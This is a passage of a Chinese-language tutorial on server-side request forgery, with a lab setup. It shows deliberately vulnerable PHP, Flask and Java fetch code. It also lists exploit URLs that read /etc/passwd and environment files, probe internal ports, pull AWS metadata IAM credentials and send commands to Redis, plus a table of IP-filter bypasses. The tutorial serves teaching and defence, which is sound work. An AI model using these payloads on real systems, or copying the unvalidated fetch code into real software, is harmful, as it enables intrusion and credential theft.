\n| \u5143\u6570\u636e\u67e5\u8be2<\/td>\n | \u67e5\u8be2 URL \u7684 OG \u6807\u7b7e<\/td>\n | \u7528\u6237\u8f93\u5165<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n \u5982\u679c\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u76ee\u6807 URL \u53ef\u88ab\u7528\u6237\u63a7\u5236，\u4e14\u6ca1\u6709\u6821\u9a8c\u76ee\u6807\u5730\u5740，\u5c31\u4ea7\u751f SSRF\u3002<\/p>\n 1.2 \u4ec0\u4e48\u662f SSRF<\/h4>\nSSRF（Server-Side Request Forgery，\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020） \u662f\u653b\u51fb\u8005\u5229\u7528\u670d\u52a1\u7aef\u7684"\u4ee3\u4e3a\u8bf7\u6c42"\u529f\u80fd，\u8ba9\u670d\u52a1\u5668\u8bbf\u95ee\u653b\u51fb\u8005\u6307\u5b9a\u7684（\u901a\u5e38\u662f\u5185\u7f51\u7684）\u5730\u5740\u3002<\/p>\n 1.3 \u6838\u5fc3\u5371\u5bb3 \u2014\u2014 \u7a7f\u900f\u9632\u706b\u5899<\/h4>\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u4e92\u8054\u7f51
\n\u653b\u51fb\u8005（\u5916\u7f51） \u2500\u2500\u2192 Web\u670d\u52a1\u5668（\u6709SSRF\u6f0f\u6d1e）
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2502 \u670d\u52a1\u5668\u53ef\u8bbf\u95ee\u5185\u7f51（\u9632\u706b\u5899\u5141\u8bb8）
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2193
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u5185\u7f51\u670d\u52a1
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 Redis（6379）
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 MySQL（3306）
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 FastCGI（9000）
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 Admin\u9762\u677f（8080）
\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2514\u2500\u2500 \u4e91\u5143\u6570\u636e（169.254.169.254）
\n\u200b
\n\u2190 \u9632\u706b\u5899\u53ea\u5141\u8bb8 Web \u670d\u52a1\u5668\u8bbf\u95ee\u5185\u7f51，\u4e0d\u5141\u8bb8\u5916\u7f51\u76f4\u63a5\u8bbf\u95ee<\/p>\n \u9632\u706b\u5899\u5141\u8bb8 Web \u670d\u52a1\u5668\u8bbf\u95ee\u5185\u7f51（\u56e0\u4e3a\u4e1a\u52a1\u9700\u8981），\u4f46\u4e0d\u5141\u8bb8\u5916\u7f51\u7528\u6237\u76f4\u63a5\u8bbf\u95ee\u3002SSRF \u8ba9 Web \u670d\u52a1\u5668\u4ee3\u66ff\u653b\u51fb\u8005\u53d1\u8d77\u5185\u7f51\u8bf7\u6c42，\u7b49\u4e8e\u7ed5\u8fc7\u4e86\u9632\u706b\u5899\u3002<\/p>\n 1.4 SSRF \u7684\u5386\u53f2<\/h4>\n\n\u65f6\u95f4\u4e8b\u4ef6<\/tr>\n \n\n| 2010\u5e74<\/td>\n | SSRF \u6982\u5ff5\u88ab\u7cfb\u7edf\u63cf\u8ff0<\/td>\n<\/tr>\n | \n| 2014\u5e74<\/td>\n | AWS SSRF \u5143\u6570\u636e\u6cc4\u9732\u88ab\u5e7f\u6cdb\u5229\u7528<\/td>\n<\/tr>\n | \n| 2015\u5e74<\/td>\n | GitHub SSRF \u6f0f\u6d1e\u5bfc\u81f4\u5185\u7f51\u63a2\u6d4b<\/td>\n<\/tr>\n | \n| 2017\u5e74<\/td>\n | OWASP \u5c06\u5176\u5217\u5165 Top 10<\/td>\n<\/tr>\n | \n| 2019\u5e74<\/td>\n | Capital One \u6570\u636e\u6cc4\u9732：SSRF \u8bfb\u53d6 AWS \u5143\u6570\u636e，1 \u4ebf\u7528\u6237\u6570\u636e\u6cc4\u9732，\u7f5a\u6b3e 8000 \u4e07\u7f8e\u5143<\/td>\n<\/tr>\n | \n| 2020\u5e74<\/td>\n | AWS \u63a8\u51fa IMDSv2 \u9632\u5fa1\u5143\u6570\u636e\u6cc4\u9732<\/td>\n<\/tr>\n | \n| 2021\u5e74<\/td>\n | OWASP Top 10 \u65b0\u589e A10:SSRF<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n1.5 Capital One \u4e8b\u4ef6\u8be6\u89e3<\/h4>\n2019\u5e74\u6700\u4e25\u91cd\u7684\u6570\u636e\u6cc4\u9732\u4e8b\u4ef6：<\/p>\n 1. \u653b\u51fb\u8005\u53d1\u73b0 Capital One \u7684\u4e00\u4e2a WAF（ModSecurity）\u914d\u7f6e\u9519\u8bef
\n2. WAF \u88ab SSRF \u5229\u7528，\u5411 AWS \u5143\u6570\u636e\u670d\u52a1\u53d1\u8d77\u8bf7\u6c42
\n3. \u83b7\u53d6\u4e86 IAM \u89d2\u8272\u7684\u4e34\u65f6\u51ed\u8bc1（AccessKey + SecretKey + Token）
\n4. \u7528\u4e34\u65f6\u51ed\u8bc1\u8bbf\u95ee S3 \u5b58\u50a8\u6876
\n5. \u4e0b\u8f7d\u4e86 1 \u4ebf\u7528\u6237\u7684\u4e2a\u4eba\u4fe1\u606f（\u5305\u62ec SSN\u3001\u94f6\u884c\u8d26\u53f7）
\n6. \u9020\u6210 8000 \u4e07\u7f8e\u5143\u7f5a\u6b3e + \u5de8\u5927\u58f0\u8a89\u635f\u5931<\/p>\n \u6559\u8bad：SSRF + \u4e91\u5143\u6570\u636e = \u707e\u96be\u6027\u540e\u679c\u3002\u8fd9\u5c31\u662f\u4e3a\u4ec0\u4e48 AWS \u63a8\u51fa\u4e86 IMDSv2\u3002<\/p>\n 1.6 \u5371\u5bb3<\/h4>\n\n\u5371\u5bb3\u8bf4\u660e\u4e25\u91cd\u7a0b\u5ea6<\/tr>\n \n\n| \u5185\u7f51\u63a2\u6d4b<\/td>\n | \u7aef\u53e3\u626b\u63cf\u3001\u670d\u52a1\u8bc6\u522b<\/td>\n | \u2605\u2605\u2605<\/td>\n<\/tr>\n | \n| \u8bfb\u53d6\u672c\u5730\u6587\u4ef6<\/td>\n | file:\/\/ \u534f\u8bae\u8bfb\u914d\u7f6e\/\u5bc6\u94a5<\/td>\n | \u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n | \n| \u653b\u51fb\u5185\u7f51\u670d\u52a1<\/td>\n | Redis\/MySQL\/FastCGI<\/td>\n | \u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n | \n| \u4e91\u5143\u6570\u636e\u6cc4\u9732<\/td>\n | AWS\/\u963f\u91cc\u4e91\u4e34\u65f6\u51ed\u8bc1<\/td>\n | \u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n | \n| \u6267\u884c\u547d\u4ee4<\/td>\n | gopher \u534f\u8bae\u7ec4\u5408<\/td>\n | \u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n | \n| \u5185\u7f51 Web \u653b\u51fb<\/td>\n | \u5229\u7528\u5df2\u77e5\u6f0f\u6d1e<\/td>\n | \u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n1.7 \u5fc5\u8981\u7684\u524d\u7f6e\u77e5\u8bc6<\/h4>\n\n- \n
HTTP \u534f\u8bae：\u8bf7\u6c42\u65b9\u6cd5\u3001\u72b6\u6001\u7801\u3001Header<\/p>\n<\/li>\n - \n
URL \u7ed3\u6784：scheme:\/\/host:port\/path?query<\/p>\n<\/li>\n - \n
\u5185\u7f51 IP \u8303\u56f4：<\/p>\n \n- \n
10.0.0.0\/8（A \u7c7b\u79c1\u7f51）<\/p>\n<\/li>\n - \n
172.16.0.0\/12（B \u7c7b\u79c1\u7f51）<\/p>\n<\/li>\n - \n
192.168.0.0\/16（C \u7c7b\u79c1\u7f51）<\/p>\n<\/li>\n - \n
127.0.0.0\/8（\u56de\u73af\u5730\u5740）<\/p>\n<\/li>\n - \n
169.254.0.0\/16（\u94fe\u8def\u672c\u5730，\u4e91\u5143\u6570\u636e）<\/p>\n<\/li>\n<\/ul>\n<\/li>\n - \n
\u4e91\u5143\u6570\u636e\u5730\u5740：<\/p>\n \n- \n
AWS：169.254.169.254\/latest\/meta-data\/<\/p>\n<\/li>\n - \n
\u963f\u91cc\u4e91：100.100.100.200\/latest\/meta-data\/<\/p>\n<\/li>\n - \n
\u817e\u8baf\u4e91：169.254.169.254\/latest\/meta-data\/<\/p>\n<\/li>\n<\/ul>\n<\/li>\n - \n
Redis\/Memcached \u534f\u8bae：\u4e86\u89e3\u5185\u7f51\u670d\u52a1\u653b\u51fb\u539f\u7406<\/p>\n<\/li>\n<\/ul>\n
\n\u7b2c\u4e8c\u7ae0：\u539f\u7406\u5256\u6790<\/h3>\n2.1 SSRF \u7684\u6570\u636e\u6d41<\/h4>\n\u653b\u51fb\u8005\u6784\u9020 URL \u2192 \u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42 \u2192 \u8bbf\u95ee\u5185\u7f51\/\u672c\u5730\u6587\u4ef6 \u2192 \u8fd4\u56de\u7ed3\u679c\u7ed9\u653b\u51fb\u8005<\/p>\n 2.2 \u652f\u6301\u7684\u534f\u8bae\u8be6\u89e3<\/h4>\n\n\u534f\u8bae\u80fd\u529bPHPJavaPython\u8bf4\u660e<\/tr>\n \n\n| http:\/\/ \/ https:\/\/<\/td>\n | \u53d1\u8d77\u8bf7\u6c42（SSRF\/\u63a2\u6d4b）<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u6700\u5e38\u89c1<\/td>\n<\/tr>\n | \n| file:\/\/<\/td>\n | \u8bfb\u53d6\u672c\u5730\u6587\u4ef6<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u8bfb\u914d\u7f6e\/\u5bc6\u94a5<\/td>\n<\/tr>\n | \n| gopher:\/\/<\/td>\n | \u53d1\u9001\u4efb\u610f TCP \u6570\u636e<\/td>\n | \u2705<\/td>\n | \u90e8\u5206<\/td>\n | \u274c<\/td>\n | \u6253\u5185\u7f51\u670d\u52a1<\/td>\n<\/tr>\n | \n| dict:\/\/<\/td>\n | \u63a2\u6d4b\u7aef\u53e3\/\u670d\u52a1<\/td>\n | \u2705<\/td>\n | \u274c<\/td>\n | \u274c<\/td>\n | \u7aef\u53e3\u626b\u63cf<\/td>\n<\/tr>\n | \n| ftp:\/\/<\/td>\n | \u8bfb\u6587\u4ef6 \/ OOB \u5916\u5e26<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u6570\u636e\u5916\u5e26<\/td>\n<\/tr>\n | \n| php:\/\/filter<\/td>\n | PHP \u4f2a\u534f\u8bae\u8bfb\u6e90\u7801<\/td>\n | \u2705<\/td>\n | \u274c<\/td>\n | \u274c<\/td>\n | \u8bfb PHP \u6e90\u7801<\/td>\n<\/tr>\n | \n| expect:\/\/<\/td>\n | \u6267\u884c\u547d\u4ee4<\/td>\n | \u2705<\/td>\n | \u274c<\/td>\n | \u274c<\/td>\n | \u9700 expect \u6269\u5c55<\/td>\n<\/tr>\n | \n| netdoc:\/\/<\/td>\n | \u7c7b\u4f3c file<\/td>\n | \u274c<\/td>\n | \u2705<\/td>\n | \u274c<\/td>\n | Java \u7279\u6709<\/td>\n<\/tr>\n | \n| ldap:\/\/<\/td>\n | LDAP \u67e5\u8be2<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u2705<\/td>\n | \u2014<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n2.3 \u5e38\u89c1\u89e6\u53d1\u51fd\u6570<\/h4>\n\n\u8bed\u8a00\u51fd\u6570\u8bf4\u660e<\/tr>\n \n\n| PHP<\/td>\n | file_get_contents()<\/td>\n | \u8bfb\u53d6\u6587\u4ef6\/URL \u5185\u5bb9<\/td>\n<\/tr>\n | \n| PHP<\/td>\n | curl_exec()<\/td>\n | cURL \u8bf7\u6c42<\/td>\n<\/tr>\n | \n| PHP<\/td>\n | fopen() \/ fread()<\/td>\n | \u6253\u5f00\u6587\u4ef6\/URL<\/td>\n<\/tr>\n | \n| PHP<\/td>\n | fsockopen()<\/td>\n | socket \u8fde\u63a5<\/td>\n<\/tr>\n | \n| Python<\/td>\n | requests.get()<\/td>\n | HTTP \u8bf7\u6c42<\/td>\n<\/tr>\n | \n| Python<\/td>\n | urllib.urlopen()<\/td>\n | URL \u6253\u5f00<\/td>\n<\/tr>\n | \n| Python<\/td>\n | httplib.HTTPConnection<\/td>\n | HTTP \u8fde\u63a5<\/td>\n<\/tr>\n | \n| Java<\/td>\n | URL.openConnection()<\/td>\n | URL \u8fde\u63a5<\/td>\n<\/tr>\n | \n| Java<\/td>\n | HttpClient<\/td>\n | HTTP \u5ba2\u6237\u7aef<\/td>\n<\/tr>\n | \n| Java<\/td>\n | RestTemplate<\/td>\n | REST \u8bf7\u6c42<\/td>\n<\/tr>\n | \n| Node.js<\/td>\n | http.get()<\/td>\n | HTTP \u8bf7\u6c42<\/td>\n<\/tr>\n | \n| Node.js<\/td>\n | axios.get()<\/td>\n | HTTP \u8bf7\u6c42<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n2.4 SSRF vs CSRF \u7684\u533a\u522b<\/h4>\n\nSSRFCSRF<\/tr>\n \n\n| \u8bf7\u6c42\u53d1\u8d77\u65b9<\/td>\n | \u670d\u52a1\u7aef<\/td>\n | \u7528\u6237\u6d4f\u89c8\u5668<\/td>\n<\/tr>\n | \n| \u76ee\u6807<\/td>\n | \u5185\u7f51\u670d\u52a1<\/td>\n | \u76ee\u6807\u7f51\u7ad9<\/td>\n<\/tr>\n | \n| \u653b\u51fb\u8005\u63a7\u5236<\/td>\n | \u76ee\u6807 URL<\/td>\n | \u7528\u6237\u8eab\u4efd<\/td>\n<\/tr>\n | \n| \u80fd\u5426\u8bfb\u53d6\u54cd\u5e94<\/td>\n | \u2705（\u90e8\u5206\u573a\u666f）<\/td>\n | \u274c<\/td>\n<\/tr>\n | \n| \u9632\u5fa1<\/td>\n | \u767d\u540d\u5355+\u6821\u9a8cIP<\/td>\n | Token<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n2.5 \u4e3a\u4ec0\u4e48 gopher \u534f\u8bae\u5982\u6b64\u5f3a\u5927<\/h4>\ngopher:\/\/ \u534f\u8bae\u662f SSRF \u7684\u7ec8\u6781\u6b66\u5668，\u56e0\u4e3a\u5b83\u53ef\u4ee5\u53d1\u9001\u4efb\u610f TCP \u6570\u636e\u5305：<\/p>\n gopher:\/\/\u76ee\u6807IP:\u7aef\u53e3\/_TCP\u6570\u636e（URL\u7f16\u7801）<\/p>\n _ \u662f gopher \u534f\u8bae\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5360\u4f4d（\u88ab\u5ffd\u7565），\u540e\u9762\u7684\u6570\u636e\u6309 TCP \u53d1\u9001\u7ed9\u76ee\u6807\u7aef\u53e3\u3002<\/p>\n \u8fd9\u610f\u5473\u7740：<\/p>\n \n- \n
\u53ef\u4ee5\u6a21\u62df Redis \u534f\u8bae \u2192 \u6253\u5185\u7f51 Redis<\/p>\n<\/li>\n - \n
\u53ef\u4ee5\u6a21\u62df MySQL \u534f\u8bae \u2192 \u6253\u5185\u7f51 MySQL<\/p>\n<\/li>\n - \n
\u53ef\u4ee5\u6a21\u62df HTTP \u534f\u8bae \u2192 \u53d1\u9001\u4efb\u610f HTTP \u8bf7\u6c42<\/p>\n<\/li>\n - \n
\u53ef\u4ee5\u6a21\u62df FastCGI \u534f\u8bae \u2192 \u6253 PHP-FPM<\/p>\n<\/li>\n - \n
\u53ef\u4ee5\u6a21\u62df SMTP \u534f\u8bae \u2192 \u53d1\u9001\u90ae\u4ef6<\/p>\n<\/li>\n<\/ul>\n
\n\u7b2c\u4e09\u7ae0：\u6848\u4f8b\u6f14\u793a<\/h3>\n\u6848\u4f8b 1：\u56fe\u7247\u6293\u53d6 SSRF<\/h4>\n\u6f0f\u6d1e\u4ee3\u7801 fetch.php：<\/p>\n <?php
\n$url = $_GET['url']; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u274c \u7528\u6237\u53ef\u63a7\u76ee\u6807\u5730\u5740
\n$img = file_get_contents($url); \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u274c \u670d\u52a1\u7aef\u8bf7\u6c42\u4efb\u610f\u5730\u5740
\nheader('Content-Type: image\/jpeg');
\necho $img;
\n?><\/p>\n \u57fa\u7840\u5229\u7528：<\/p>\n # 1. \u8bfb\u53d6\u672c\u5730\u6587\u4ef6（file \u534f\u8bae）
\nhttp:\/\/victim.com\/fetch.php?url=file:\/\/\/etc\/passwd
\nhttp:\/\/victim.com\/fetch.php?url=file:\/\/\/proc\/self\/environ
\n# \/proc\/self\/environ \u5305\u542b\u73af\u5883\u53d8\u91cf，\u53ef\u80fd\u542b\u6570\u636e\u5e93\u5bc6\u7801\u3001API \u5bc6\u94a5
\n\u200b
\nhttp:\/\/victim.com\/fetch.php?url=file:\/\/\/proc\/self\/cmdline
\n# \u8fdb\u7a0b\u542f\u52a8\u547d\u4ee4
\n\u200b
\nhttp:\/\/victim.com\/fetch.php?url=file:\/\/\/var\/www\/html\/config.php
\n# \u5e94\u7528\u914d\u7f6e\u6587\u4ef6（\u542b\u6570\u636e\u5e93\u5bc6\u7801）
\n\u200b
\n# 2. \u63a2\u6d4b\u5185\u7f51\u7aef\u53e3
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/127.0.0.1:22\/ \u00a0 \u00a0 \u00a0 \u00a0 # SSH
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/127.0.0.1:3306\/ \u00a0 \u00a0 \u00a0 # MySQL
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/127.0.0.1:6379\/ \u00a0 \u00a0 \u00a0 # Redis
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/127.0.0.1:8080\/ \u00a0 \u00a0 \u00a0 # Web \u5e94\u7528
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/127.0.0.1:9200\/ \u00a0 \u00a0 \u00a0 # Elasticsearch
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/127.0.0.1:11211\/ \u00a0 \u00a0 \u00a0# Memcached
\n\u200b
\n# 3. \u8bbf\u95ee\u5185\u7f51\u5e94\u7528
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/192.168.1.100:8080\/admin
\n\u200b
\n# 4. \u63a2\u6d4b\u5185\u7f51\u7f51\u6bb5
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/192.168.1.1\/
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/10.0.0.1\/<\/p>\n \u5224\u65ad\u7aef\u53e3\u5b58\u6d3b\u7684\u65b9\u6cd5：<\/p>\n \n\u54cd\u5e94\u7279\u5f81\u542b\u4e49<\/tr>\n \n\n| \u5feb\u901f\u8fd4\u56de + \u6b63\u5e38\u5185\u5bb9<\/td>\n | \u7aef\u53e3\u5f00\u653e + HTTP \u670d\u52a1<\/td>\n<\/tr>\n | \n| \u5feb\u901f\u8fd4\u56de + \u7279\u6b8a\u9519\u8bef<\/td>\n | \u7aef\u53e3\u5f00\u653e + \u975e HTTP \u670d\u52a1<\/td>\n<\/tr>\n | \n| \u8fde\u63a5\u8d85\u65f6（\u6162）<\/td>\n | \u7aef\u53e3\u5173\u95ed\/\u88ab\u9632\u706b\u5899\u8fc7\u6ee4<\/td>\n<\/tr>\n | \n| \u8fd4\u56de Redis \u9519\u8bef -ERR<\/td>\n | Redis \u670d\u52a1<\/td>\n<\/tr>\n | \n| \u8fd4\u56de MySQL \u63e1\u624b\u5305<\/td>\n | MySQL \u670d\u52a1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u6848\u4f8b 2：\u4e91\u5143\u6570\u636e\u6cc4\u9732（AWS）<\/h4>\nAWS EC2 \u5b9e\u4f8b\u53ef\u901a\u8fc7 169.254.169.254 \u83b7\u53d6\u5b9e\u4f8b\u5143\u6570\u636e：<\/p>\n # \u83b7\u53d6\u5b9e\u4f8b\u57fa\u672c\u4fe1\u606f
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/169.254.169.254\/latest\/meta-data\/
\n\u200b
\n# \u5217\u51fa\u6240\u6709\u5143\u6570\u636e\u9879
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/169.254.169.254\/latest\/meta-data\/iam\/
\n\u200b
\n# \u83b7\u53d6 IAM \u89d2\u8272\u540d
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/
\n\u200b
\n# \u83b7\u53d6\u4e34\u65f6 AccessKey（IMDSv1 \u53ef\u76f4\u63a5\u8bfb）
\nhttp:\/\/victim.com\/fetch.php?url=http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/{role-name}<\/p>\n \u8fd4\u56de\u7684 JSON：<\/p>\n {
\n \u00a0"AccessKeyId": "ASIA…",
\n \u00a0"SecretAccessKey": "wJalrXUt…",
\n \u00a0"Token": "IQoJb3Jp…",
\n \u00a0"Expiration": "2024-…"
\n}<\/p>\n \u653b\u51fb\u8005\u7528\u8fd9\u4e9b\u4e34\u65f6\u51ed\u8bc1\u76f4\u63a5\u64cd\u4f5c\u4e91\u8d44\u6e90\u2014\u2014\u8bfb S3\u3001\u542f\u52a8\u5b9e\u4f8b\u3001\u6a2a\u5411\u6e17\u900f\u3002<\/p>\n \u5176\u4ed6\u4e91\u5e73\u53f0\u5143\u6570\u636e：<\/p>\n \n\u4e91\u5e73\u53f0\u5730\u5740\u7279\u6b8a\u8981\u6c42<\/tr>\n \n\n| AWS<\/td>\n | 169.254.169.254\/latest\/meta-data\/<\/td>\n | IMDSv1 \u65e0\u9700 Token<\/td>\n<\/tr>\n | \n| \u963f\u91cc\u4e91<\/td>\n | 100.100.100.200\/latest\/meta-data\/<\/td>\n | \u2014<\/td>\n<\/tr>\n | \n| \u817e\u8baf\u4e91<\/td>\n | 169.254.169.254\/latest\/meta-data\/<\/td>\n | \u2014<\/td>\n<\/tr>\n | \n| Google Cloud<\/td>\n | 169.254.169.254\/computeMetadata\/v1\/<\/td>\n | \u9700 Metadata-Flavor: Google \u5934<\/td>\n<\/tr>\n | \n| Azure<\/td>\n | 169.254.169.254\/metadata\/instance<\/td>\n | \u9700 Metadata: true \u5934<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u6848\u4f8b 3：Python Flask SSRF<\/h4>\nimport requests
\nfrom flask import Flask, request, Response
\n\u200b
\napp = Flask(__name__)
\n\u200b
\n@app.route('\/proxy')
\ndef proxy():
\n \u00a0 \u00a0url = request.args.get('url') \u00a0 \u00a0 \u00a0 # \u274c \u7528\u6237\u53ef\u63a7
\n \u00a0 \u00a0r = requests.get(url) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u274c \u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42
\n \u00a0 \u00a0return Response(r.content, mimetype=r.headers.get('Content-Type'))
\n\u200b
\n@app.route('\/screenshot')
\ndef screenshot():
\n \u00a0 \u00a0url = request.args.get('url')
\n \u00a0 \u00a0r = requests.get(url) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u274c requests \u652f\u6301 http\/https\/ftp
\n \u00a0 \u00a0return r.text<\/p>\n \u6848\u4f8b 4：dict \u534f\u8bae\u63a2\u6d4b<\/h4>\n# dict \u534f\u8bae\u53ef\u4ee5\u4e0e\u76ee\u6807\u7aef\u53e3\u5efa\u7acb TCP \u8fde\u63a5\u5e76\u53d1\u9001\u547d\u4ee4
\nhttp:\/\/victim.com\/fetch.php?url=dict:\/\/127.0.0.1:6379\/info
\n# \u7b49\u4ef7\u4e8e\u5411 Redis \u53d1\u9001 INFO \u547d\u4ee4
\n\u200b
\nhttp:\/\/victim.com\/fetch.php?url=dict:\/\/127.0.0.1:11211\/stats
\n# \u63a2\u6d4b Memcached<\/p>\n \u6848\u4f8b 5：Java SSRF<\/h4>\nURL url = new URL(request.getParameter("url")); \u00a0\/\/ \u274c \u7528\u6237\u53ef\u63a7
\nURLConnection conn = url.openConnection();
\nBufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
\nString line;
\nwhile ((line = reader.readLine()) != null) {
\n \u00a0 \u00a0response.getWriter().println(line);
\n}<\/p>\n Java \u7684 URL.openConnection() \u652f\u6301 http\u3001https\u3001file\u3001ftp\u3001jar\u3001netdoc \u7b49\u534f\u8bae\u3002<\/p>\n
\n\u7b2c\u56db\u7ae0：\u5b9e\u6218\u8fdb\u9636<\/h3>\n4.1 \u672c\u5730\u9776\u573a\u642d\u5efa<\/h4>\n# SSRF \u9776\u573a（\u5305\u542b\u5185\u7f51 Redis \u73af\u5883）
\ndocker run -d -p 8080:80 -p 6379:6379 ssrf-test\/app
\n\u200b
\n# \u6216\u7528 Docker Compose \u81ea\u5efa
\ncat > docker-compose.yml << 'EOF'
\nversion: '3'
\nservices:
\n web:
\n \u00a0 image: php:7.4-apache
\n \u00a0 ports:
\n \u00a0 \u00a0 \u00a0– "8080:80"
\n \u00a0 volumes:
\n \u00a0 \u00a0 \u00a0– .\/fetch.php:\/var\/www\/html\/fetch.php
\n redis:
\n \u00a0 image: redis:6
\n \u00a0 ports:
\n \u00a0 \u00a0 \u00a0– "6379:6379"
\nEOF
\n\u200b
\ndocker-compose up -d
\n\u200b
\n# Vulhub \u590d\u73b0\u771f\u5b9e CVE
\ncd vulhub\/…
\ndocker-compose up -d<\/p>\n 4.2 \u7ed5\u8fc7 IP \u9650\u5236（\u5b8c\u6574 10 \u79cd\u65b9\u6cd5）<\/h4>\n\u5f00\u53d1\u8005\u5e38\u8fc7\u6ee4 127.0.0.1\u3001localhost\u3001192.168，\u9ad8\u624b\u7528\u5404\u79cd\u7b49\u4ef7\u5f62\u5f0f\u7ed5\u8fc7：<\/p>\n \n\u65b9\u6cd5\u793a\u4f8b\u8bf4\u660e<\/tr>\n \n\n| \u5341\u8fdb\u5236 IP<\/td>\n | 2130706433<\/td>\n | 127.0.0.1 \u7684\u5341\u8fdb\u5236<\/td>\n<\/tr>\n | \n| \u516b\u8fdb\u5236<\/td>\n | 0177.0.0.1<\/td>\n | 0177 = 127<\/td>\n<\/tr>\n | \n| \u5341\u516d\u8fdb\u5236<\/td>\n | 0x7f.0x0.0x0.0x1<\/td>\n | 0x7f = 127<\/td>\n<\/tr>\n | \n| \u6df7\u5408\u8fdb\u5236<\/td>\n | 0177.0.0×0.1<\/td>\n | \u5404\u6bb5\u53ef\u7528\u4e0d\u540c\u8fdb\u5236<\/td>\n<\/tr>\n | \n| \u7701\u7565\u96f6<\/td>\n | 127.1<\/td>\n | \u7b49\u4ef7 127.0.0.1<\/td>\n<\/tr>\n | \n| IPv6<\/td>\n | [::1]<\/td>\n | \u56de\u73af\u5730\u5740<\/td>\n<\/tr>\n | \n| IPv6 \u6620\u5c04<\/td>\n | [::ffff:127.0.0.1]<\/td>\n | IPv4 \u6620\u5c04\u7684 IPv6<\/td>\n<\/tr>\n | \n| @ \u7b26\u53f7<\/td>\n | http:\/\/evil.com@127.0.0.1<\/td>\n | URL \u4e2d @ \u524d\u4e3a\u7528\u6237\u540d<\/td>\n<\/tr>\n | \n| \u77ed\u94fe\u63a5<\/td>\n | bit.ly\/xxx \u2192 127.0.0.1<\/td>\n | \u8df3\u8f6c<\/td>\n<\/tr>\n | \n| DNS \u91cd\u7ed1\u5b9a<\/td>\n | \u57df\u540d\u89e3\u6790\u5230 127.0.0.1<\/td>\n | \u89c1\u4e0b\u6587<\/td>\n<\/tr>\n | \n| 302 \u8df3\u8f6c<\/td>\n | \u653b\u51fb\u8005\u670d\u52a1\u5668 302 \u8df3\u8f6c<\/td>\n | \u89c1\u4e0b\u6587<\/td>\n<\/tr>\n | \n| URL \u7f16\u7801<\/td>\n | 127.0.0.1 \u2192 %31%32%37%2e%30%2e%30%2e%31<\/td>\n | \u2014<\/td>\n<\/tr>\n | \n| \u6dfb\u52a0\u7aef\u53e3<\/td>\n | http:\/\/127.0.0.1:80@evil.com<\/td>\n | \u6df7\u6dc6<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n \u5341\u8fdb\u5236 IP \u8ba1\u7b97\u539f\u7406：<\/p>\n 127.0.0.1 = 127\u00d7256\u00b3 + 0\u00d7256\u00b2 + 0\u00d7256 + 1 = 2130706433<\/p>\n \u8bbf\u95ee http:\/\/2130706433\/ \u7b49\u4ef7\u4e8e http:\/\/127.0.0.1\/\u3002<\/p>\n @ \u7b26\u53f7\u7ed5\u8fc7\u8be6\u89e3：<\/p>\n http:\/\/evil.com@127.0.0.1
